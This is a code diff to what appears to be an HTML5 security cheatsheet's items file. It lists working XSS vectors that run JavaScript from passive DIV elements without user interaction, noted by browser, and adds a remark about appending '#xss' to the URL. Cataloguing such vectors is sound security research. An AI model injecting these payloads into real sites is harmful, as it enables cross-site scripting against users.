Added note about #xss to #145

items.js

@@ -5165,7 +5165,7 @@ return [
         },
         'data'      : '#Chrome, Opera, Safari and Edge\r\n<div onfocus="%js_alert%" contenteditable tabindex="0" id="xss"></div>\r\n\r\n# Firefox\r\n<div onbeforescriptexecute="%js_alert%"></div>\r\n<script>1</script>\r\n\r\n# MSIE11\r\n<div onactivate="%js_alert%" id="xss" style="overflow:scroll"></div>\r\n\r\n# Chrome, Opera, Safari\r\n<style>@keyframes x{}</style>\r\n<div style="animation-name:x" onanimationstart="%js_alert%"></div>\r\n\r\n# Chrome, Opera, Safari\r\n<style>\r\ndiv {width: 100px;}\r\ndiv:target {width: 200px;}\r\n</style>\r\n<div id="xss" onwebkittransitionend="%js_alert%" style="-webkit-transition: width .1s;"></div>',
         'description' : {
-            'en'    : 'Often, an attacker can only inject into a "passive" element, meaning for instance a DIV or a SPAN. For those elements, it\'s not always trivial to execute injected JavaScript without user interaction (such as clicks or mouse events). If the element injected into is outside the visible range, it becomes hard to prove that the injection is in fact exploitable. For this reason, this item lists all currently known ways of executing JavaScript without user interaction from passive elements. The list is expected to grow over time.',
+            'en'    : 'Often, an attacker can only inject into a "passive" element, meaning for instance a DIV or a SPAN. For those elements, it\'s not always trivial to execute injected JavaScript without user interaction (such as clicks or mouse events). If the element injected into is outside the visible range, it becomes hard to prove that the injection is in fact exploitable. For this reason, this item lists all currently known ways of executing JavaScript without user interaction from passive elements. The list is expected to grow over time.\r\n\r\nNote, that for some of the attacks here, the string "#xss" needs to be appended to the URL of the injected page.',
             'ja'    : '',
             'ru'    : '', 
             'cs'    : '',